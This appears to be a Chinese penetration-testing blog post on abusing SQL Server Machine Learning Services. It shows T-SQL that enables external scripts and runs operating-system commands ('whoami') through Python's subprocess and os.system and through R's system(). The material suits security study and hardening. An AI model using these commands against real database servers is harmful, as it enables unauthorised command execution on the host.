首先介绍下Sqlserver 机器学习服务:
机器学习服务介绍:
https://docs.microsoft.com/zh-cn/sql/machine-learning/sql-server-machine-learning-services?view=sql-server-ver15
使用 SQL Server 机器学习服务,你可以在数据库中执行 Python 和 R 脚本。 可以使用它来准备和清理数据、执行特征工程以及在数据库中定型、评估和部署机器学习模型。 此功能在数据所在的位置运行脚本,无需通过网络将数据传输到其他服务器。你可以通过存储过程 sp_execute_external_script 在 SQL Server 实例上执行 Python 和 R 脚本。Python 和 R 的基本分发包含在机器学习服务中。 除了 Microsoft 包之外,还可以安装和使用开源包和框架,例如 PyTorch、TensorFlow 和 scikit-learn。
简单讲,就是从SQL Server 2017 (14.x) 及更高版本开始,SQLServer支持安装机器学习服务,机器学习服务是 SQL Server 中一项支持使用关系数据运行 Python 和 R 脚本的功能来进行预测分析和机器学习的服务。因此我们也可以利用上述两种包来执行各自的代码来进行利用,又多了个渗透的思路!
下面列出了机器学习服务中包含的 Python 和 R 版本。
PYTHON 和 R 版本
SQL Server 版本 累计更新 Python 运行时版本 R 运行时版本
SQL Server 2019 RTM 及更高版本 3.7.1 3.5.2
SQL Server 2017 CU22 及更高版本 3.5.2 和 3.7.2 3.3.3 和 3.5.2
SQL Server 2017 RTM - CU21 3.5.2 3.3
首先启用外部脚本:
sp_configure 'external scripts enabled', 1;
RECONFIGURE WITH override;
接下来执行命令。 Python执行命令语句如下: 利用subprocess模块:
EXECUTE sp_execute_external_script
@language =N'Python',
@script=N'import subprocess;subprocess.call(["whoami"],shell=True)'
利用sys模块:
EXECUTE sp_execute_external_script
@language =N'Python',
@script=N'import os;os.system("whoami")'
R语言执行命令语句如下:
EXECUTE sp_execute_external_script
@language = N'R',
@script = N'system("whoami")'